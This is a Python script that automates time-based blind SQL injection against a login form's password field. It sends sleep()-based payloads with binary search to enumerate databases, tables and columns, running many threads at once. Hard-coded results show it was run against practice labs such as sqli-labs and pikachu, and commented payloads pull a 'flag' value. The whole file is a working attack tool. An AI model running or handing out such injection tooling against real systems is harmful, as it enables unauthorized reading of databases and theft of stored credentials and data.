import requests
import sys
import time
import pdb
import threading
from concurrent.futures import ThreadPoolExecutor
class Injection():
def __init__(self):
self.url = ""
#self.scheNum=0
self.scheNum=7
#self.scheLen = []
self.scheLen = [18, 10, 5, 5, 18, 7, 8]
#self.scheName = []
#self.scheName = ['information_schema','challenges','jf123','mysql','performance_schema','pikachu','security']
#self.scheName = [['information_schema', 40], ['challenges', 1], ['jf123', 1], ['mysql', 24], ['performance_schema', 17], ['pikachu', 5], ['security', 4]]
#self.scheName = [['information_schema', 40, 14, 10, 37, 7, 17, 7, 6, 5, 13, 16, 16, 10, 10, 7, 11, 9, 23, 8, 8, 17, 14, 17, 10, 6, 11, 17, 16, 8, 15, 5, 18, 10, 24, 17, 13, 10, 12, 19, 16, 22], ['challenges', 1, 10], ['jf123', 1, 10], ['mysql', 24, 12, 2, 5, 4, 11, 13, 12, 13, 10, 4, 16, 6, 4, 10, 12, 7, 8, 11, 9, 21, 14, 20, 25, 4], ['performance_schema', 17, 14, 20, 20, 25, 32, 40, 40, 14, 26, 24, 15, 18, 16, 15, 17, 12, 7], ['pikachu', 5, 8, 6, 7, 5, 8], ['security', 4, 6, 8, 7, 5]]
self.scheName = [['information_schema', 40, 'CHARACTER_SETS', 'COLLATIONS', 'COLLATION_CHARACTER_SET_APPLICABILITY', 'COLUMNS', 'COLUMN_PRIVILEGES', 'ENGINES', 'EVENTS', 'FILES', 'GLOBAL_STATUS', 'GLOBAL_VARIABLES', 'KEY_COLUMN_USAGE', 'PARAMETERS', 'PARTITIONS', 'PLUGINS', 'PROCESSLIST', 'PROFILING', 'REFERENTIAL_CONSTRAINTS', 'ROUTINES', 'SCHEMATA', 'SCHEMA_PRIVILEGES', 'SESSION_STATUS', 'SESSION_VARIABLES', 'STATISTICS', 'TABLES', 'TABLESPACES', 'TABLE_CONSTRAINTS', 'TABLE_PRIVILEGES', 'TRIGGERS', 'USER_PRIVILEGES', 'VIEWS', 'INNODB_BUFFER_PAGE', 'INNODB_TRX', 'INNODB_BUFFER_POOL_STATS', 'INNODB_LOCK_WAITS', 'INNODB_CMPMEM', 'INNODB_CMP', 'INNODB_LOCKS', 'INNODB_CMPMEM_RESET', 'INNODB_CMP_RESET', 'INNODB_BUFFER_PAGE_LRU'], ['challenges', 1, 'kefgu88kuc'], ['jf123', 1, 'jf_content'], ['mysql', 24, 'columns_priv', 'db', 'event', 'func', 'general_log', 'help_category', 'help_keyword', 'help_relation', 'help_topic', 'host', 'ndb_binlog_index', 'plugin', 'proc', 'procs_priv', 'proxies_priv', 'servers', 'slow_log', 'tables_priv', 'time_zone', 'time_zone_leap_second', 'time_zone_name', 'time_zone_transition', 'time_zone_transition_type', 'user'], ['performance_schema', 17, 'cond_instances', 'events_waits_current', 'events_waits_history', 'events_waits_history_long', 'events_waits_summary_by_instance', 'events_waits_summary_by_thread_by_event_', 'events_waits_summary_global_by_event_nam', 'file_instances', 'file_summary_by_event_name', 'file_summary_by_instance', 'mutex_instances', 'performance_timers', 'rwlock_instances', 'setup_consumers', 'setup_instruments', 'setup_timers', 'threads'], ['pikachu', 5, 'httpinfo', 'member', 'message', 'users', 'xssblind'], ['security', 4, 'emails', 'referers', 'uagents', 'users']]
self.headers = {"Content-Type":"application/x-www-form-urlencoded"}
self.information_schema_GLOBAL_STATUS = [2]
self.information_schema_GLOBAL_VARIABLES = [2]
self.information_schema_REFERENTIAL_CONSTRAINTS = [11]
self.information_schema_PLUGINS = [11]
self.information_schema_COLLATIONS = [6]
self.information_schema_TABLE_CONSTRAINTS = [6]
self.information_schema_TABLES = [21]
self.information_schema_COLLATION_CHARACTER_SET_APPLICABILITY = [2]
self.information_schema_SESSION_VARIABLES = [2]
self.information_schema_SESSION_STATUS = [2]
self.information_schema_ENGINES = [6]
self.information_schema_TABLE_PRIVILEGES = [6]
self.information_schema_KEY_COLUMN_USAGE = [12]
self.information_schema_TRIGGERS = [22]
self.information_schema_INNODB_CMPMEM = [6]
self.information_schema_COLUMN_PRIVILEGES = [7]
self.information_schema_STATISTICS = [16]
self.information_schema_CHARACTER_SETS = [4]
self.information_schema_PROCESSLIST = [8]
self.information_schema_USER_PRIVILEGES = [4]
self.information_schema_INNODB_CMP = [6]
self.information_schema_INNODB_CMPMEM_RESET = [6]
self.information_schema_INNODB_CMP_RESET = [6]
self.information_schema_SCHEMA_PRIVILEGES = [5]
self.information_schema_PR_ILING = [18]
self.information_schema_EVENTS = [24]
self.information_schema_INNODB_TRX = [22]
self.information_schema_INNODB_LOCK_WAITS = [4]
self.mysql_general_log = [6]
self.information_schema_TABLESPACES = [9]
self.information_schema_SCHEMATA = [5]
self.mysql_help_relation = [2]
self.mysql_help_keyword = [2]
self.jf123_jf_content = [13]
self.mysql_help_topic = [6]
self.challenges_kefgu88kuc = [4]
self.information_schema_FILES = [38]
self.information_schema_VIEWS = [10]
self.information_schema_COLUMNS = [19]
self.information_schema_PARAMETERS = [15]
self.mysql_plugin = [2]
self.information_schema_INNODB_BUFFER_POOL_STATS = [32]
self.mysql_columns_priv = [7]
self.information_schema_PARTITIONS = [25]
self.mysql_db = [22]
self.performance_schema_events_waits_summary_global_by_event_nam = [1]
self.mysql_event = [22]
self.mysql_func = [4]
self.performance_schema_events_waits_summary_by_thread_by_event_ = [1]
self.mysql_slow_log = [11]
self.mysql_ndb_binlog_index = [7]
self.mysql_help_category = [4]
self.mysql_time_zone = [2]
self.mysql_time_zone_leap_second = [2]
self.mysql_time_zone_transition = [3]
self.mysql_time_zone_name = [2]
self.information_schema_ROUTINES = [30]
self.performance_schema_cond_instances = [2]
self.mysql_procs_priv = [8]
self.mysql_proxies_priv = [7]
self.performance_schema_file_instances = [3]
self.information_schema_INNODB_LOCKS = [10]
self.performance_schema_mutex_instances = [3]
self.performance_schema_file_summary_by_instance = [6]
self.performance_schema_setup_consumers = [2]
self.mysql_tables_priv = [8]
self.performance_schema_threads = [3]
self.performance_schema_setup_timers = [2]
self.pikachu_httpinfo = [6]
self.performance_schema_setup_instruments = [3]
self.pikachu_message = [3]
self.information_schema_INNODB_BUFFER_PAGE = [20]
self.performance_schema_events_waits_current = [16]
self.performance_schema_events_waits_history = [16]
self.performance_schema_events_waits_history_long = [16]
self.mysql_servers = [9]
self.performance_schema_events_waits_summary_by_instance = [7]
self.security_emails = [2]
self.security_referers = [3]
self.performance_schema_rwlock_instances = [4]
self.performance_schema_performance_timers = [4]
self.security_users = [3]
self.information_schema_INNODB_BUFFER_PAGE_LRU = [20]
self.mysql_time_zone_transition_type = [5]
self.pikachu_member = [7]
self.pikachu_users = [4]
self.pikachu_xssblind = [4]
self.performance_schema_file_summary_by_event_name = [5]
self.security_uagents = [4]
self.mysql_host = [20]
self.mysql_proc = [20]
self.mysql_user = [42]
def schemaNum(self):
high = 30
low = 1
mid = (low + high) // 2
while high > low:
payload = f"1' or if((select count(schema_name) from information_schema.schemata)>{mid},sleep(5),0)-- +" #查库名
#payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#" #查表名
#payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#" #查列名
#payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#" #查数据
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url, data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
if mid==low and high-low==1:
#print("The Number of schema is {}".format(high))
self.scheNum=high
#break
return
#print(low,mid)
self.scheNum=mid
def usage(self):
if len(sys.argv)!=2:
print('The number of parameter number not right')
print('Usage:python3 %s url '% sys.argv[0])
print("Example:python3 postInjection.py http://192.168.62.249/login.php username=admin&password=admin password")
sys.exit(-1)
self.url = sys.argv[1]
def schemataLength(self):
#pdb.set_trace()
for i in range(self.scheNum):
high = 30
low = 1
mid = (low + high) // 2
flag=0
while high > low:
#print(high,low,mid,end=" ")
payload = f"1' or if((select length(schema_name) from information_schema.schemata limit {i},1)>{mid},sleep(1),0)#" #查库名
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url,headers=self.headers,data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
#pdb.set_trace()
#print(now-last)
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
if mid==low and high-low==1:
self.scheLen.append(high)
flag=1
break
if flag==1:
continue
self.scheLen.append(mid)
def schemaName(self,theNumDBName,l): # n[1] is the number of databases ;n[2] is the database name length
name=""
for i in range(1,l+1):
high = 127
low = 32
mid = (low + high) // 2
flag=0
#pdb.set_trace()
while high > low:
payload = f"1' or if(ascii(substr((select schema_name from information_schema.schemata limit {theNumDBName},1),{i},1))>{mid},sleep(0.5),0);-- +" #查库名
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url, data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
#print(high,low,mid,name)
if mid==low and high-low==1:
name += chr(int(high))
flag=1
break
if flag==1:
continue
name += chr(int(low))
self.scheName.append(name)
def schethreadMan(self): #managent the multithread
t=[]
for i in range(0,len(self.scheLen)):
t.append(threading.Thread(target=self.schemaName,args=(i,self.scheLen[i])))
for i in t:
i.start()
for i in t:
i.join()
def tablesNum(self,n,scheName): #n :the number of databases ;scheName: the name of the number database
high = 40
low = 0
mid = (low + high) // 2
while high > low:
# guess the tables number of database
payload = f"1'or if((select count(table_name) from information_schema.tables where table_schema= \'{scheName}\')>{mid},sleep(0.5),0)-- +"
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url, data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
if mid==low and high-low==1:
#print("The Number of schema is {}".format(high))
print(f"the {scheName} database has {high} tables")
self.scheName[n] = [scheName,high]
#break
return
print(f"the {scheName} database has {mid} tables")
self.scheName[n] = [scheName,mid]
def tablesThreadMan(self):
t=[]
for i in range(0,len(self.scheName)):
t.append(threading.Thread(target=self.tablesNum,args=(i,self.scheName[i])))
for i in t:
i.start()
for i in t:
i.join()
def tableNameLength(self,n,scheName,l): #guess the table name length
#pdb.set_trace()
for i in range(l):
high = 50
low = 1
mid = (low + high) // 2
flag=0
while high > low:
#print(high,low,mid,end=" ")
payload = f"1' or if((select length(table_name) from information_schema.tables where table_schema='{scheName}' limit {i},1)>{mid},sleep(0.5),0)-- +"
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url,headers=self.headers,data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
#pdb.set_trace()
#print(now-last)
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
if mid==low and high-low==1:
self.scheName[n].append(high)
print(f"the {scheName} database the {i+1} table name length:{high}")
flag=1
break
if flag==1:
continue
self.scheName[n].append(high)
print(f"the {scheName} database the {i+1} table name length:{mid}")
def tableNameLengthThreadMan(self):
t=[]
#t.append(threading.Thread(target=self.tableNameLength,args=(0,self.scheName[0][0],self.scheName[0][1])))
#t[0].start()
#t[0].join()
for i in range(0,len(self.scheName)):
t.append(threading.Thread(target=self.tableNameLength,args=(i,self.scheName[i][0],self.scheName[i][1])))
for i in t:
i.start()
for i in t:
i.join()
def tableName(self,n1,scheName,l,n2): # n1:the number of database; scheName :schema name ;l :the table length ;n2: the number of table
name=""
for i in range(1,l+1):
high = 127
low = 32
mid = (low + high) // 2
flag=0
#pdb.set_trace()
while high > low:
#guess the table name
payload = f"1' or if(ascii(substr((select table_name from information_schema.tables where table_schema = \'{scheName}\' limit {n2-2},1),{i},1))>{mid},sleep(0.5),1);-- +"
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url, data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
if now - last > 5 :
low = mid
else :
high = mid
mid = (low + high) // 2
#print(high,low,mid,name)
if mid == low and high - low == 1:
name += chr(int(high))
flag = 1
break
if flag==1:
continue
name += chr(int(low))
self.scheName[n1][n2] = name
print(f"the {scheName} database {n2-1} table name is:{name}")
def tableNameThreadMan(self):
thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量
for i in range(len(self.scheName)):
for j in range(2,len(self.scheName[i])):
future = thread_pool.submit(self.tableName,i,self.scheName[i][0],self.scheName[i][j],j)
#future = thread_pool.submit(self.tableName,0,self.scheName[0][0],self.scheName[0][2],2)
thread_pool.shutdown(wait=True)
def columnsNum(self,scheName,tableName): #scheName: the name of the number database ;tableName:the table name
high = 50
low = 0
if not hasattr(inject,str(scheName)+"_"+str(tableName)):
setattr(inject,str(scheName)+"_"+str(tableName),[])
mid = (low + high) // 2
#pdb.set_trace()
while high > low:
# guess the columns number of table
payload = f"1' or if((select count(column_name) from information_schema.columns where table_schema = \'{scheName}\' and table_name = \'{tableName}\') >{mid},sleep(0.5),0) -- +"
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url, data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
#pdb.set_trace()
if mid==low and high-low==1:
#print("The Number of schema is {}".format(high))
#print(f"the {scheName} database {tableName} tables has {high} columns")
#setattr(inject,str(scheName)+"_"+str(tableName),((getattr(inject,str(scheName)+"_"+str(tableName))).append(high)))
temp = getattr(inject,str(scheName)+"_"+str(tableName))
temp.append(high)
setattr(inject,str(scheName)+"_"+str(tableName),temp)
print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
return
#print(f"the {scheName} database {tableName} tables has {high} columns")
temp = getattr(inject,str(scheName)+"_"+str(tableName))
temp.append(high)
setattr(inject,str(scheName)+"_"+str(tableName),temp)
print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
def columnsNumThreadMan(self):
#pdb.set_trace()
thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量
for i in range(len(self.scheName)):
for j in range(2,len(self.scheName[i])):
future = thread_pool.submit(self.columnsNum,self.scheName[i][0],self.scheName[i][j])
thread_pool.shutdown(wait=True)
def columnsNameLength(self,scheName,tableName): #guess the table name length
temp=getattr(inject,str(scheName)+"_"+str(tableName))
columnsNum = getattr(inject,str(scheName)+"_"+str(tableName))[0]
#pdb.set_trace()
for i in range(columnsNum):
high = 40
low = 1
mid = (low + high) // 2
flag=0
while high > low:
#print(high,low,mid,end=" ")
payload = f"1' or if((select length(column_name) from information_schema.columns where table_schema=\'{scheName}\' and table_name = \'{tableName}\' limit {i},1)>{mid},sleep(0.5),0)-- +"
data = {
"uname":"admin",
"passwd":payload,
"submit":"Submit"
}
last = int(time.time())
try:
res = requests.post(self.url,headers=self.headers,data = data)
except Exception as e:
print(e)
finally:
now = int(time.time())
#pdb.set_trace()
#print(now-last)
if now - last >5 :
low = mid
else :
high = mid
mid = (low + high) // 2
if mid==low and high-low==1:
#print("The Number of schema is {}".format(high))
#print(f"the {scheName} database {tableName} tables the {i+1} column {high} has {high} character")
#setattr(self.__class__,str(scheName)+"_"+str(tableName),((getattr(self.__class__,str(scheName)+"_"+str(tableName))).append(high)))
temp = getattr(inject,str(scheName)+"_"+str(tableName)) #读取类属性值
temp.append(high) #将字段名长度添加到类属性
setattr(inject,str(scheName)+"_"+str(tableName),temp) #临时值重置到类属性值
#print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
flag=1
break
if flag == 1:
continue
#print(f"the {scheName} database {tableName} tables has {high} columns")
temp = getattr(inject,str(scheName)+"_"+str(tableName)) #读取类属性值
temp.append(high) #将字段名长度添加到类属性
setattr(inject,str(scheName)+"_"+str(tableName),temp) #临时值重置到类属性值
#print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
print(f"self.{scheName}_{tableName} = ",getattr(inject,str(scheName)+"_"+str(tableName)))
def columnsLengthThreadMan(self):
#pdb.set_trace()
thread_pool = ThreadPoolExecutor(max_workers = 30) # max_workers指定了复用线程的最大数量
for i in range(len(self.scheName)):
for j in range(2,len(self.scheName[i])):
future = thread_pool.submit(self.columnsNameLength,self.scheName[i][0],self.scheName[i][j])
#future = thread_pool.submit(self.columnsNameLength,self.scheName[0][0],self.scheName[0][2])
thread_pool.shutdown(wait=True)
if __name__ == '__main__':
# pdb.set_trace()
inject = Injection()
inject.usage()
#inject.schemataLength()
#inject.schethreadMan()
#inject.schemataNum()
#print(inject.scheNum)
#inject.tablesThreadMan()
#inject.tableNameThreadMan()
#print(inject.scheName)
#inject.columnsNumThreadMan()
inject.columnsLengthThreadMan()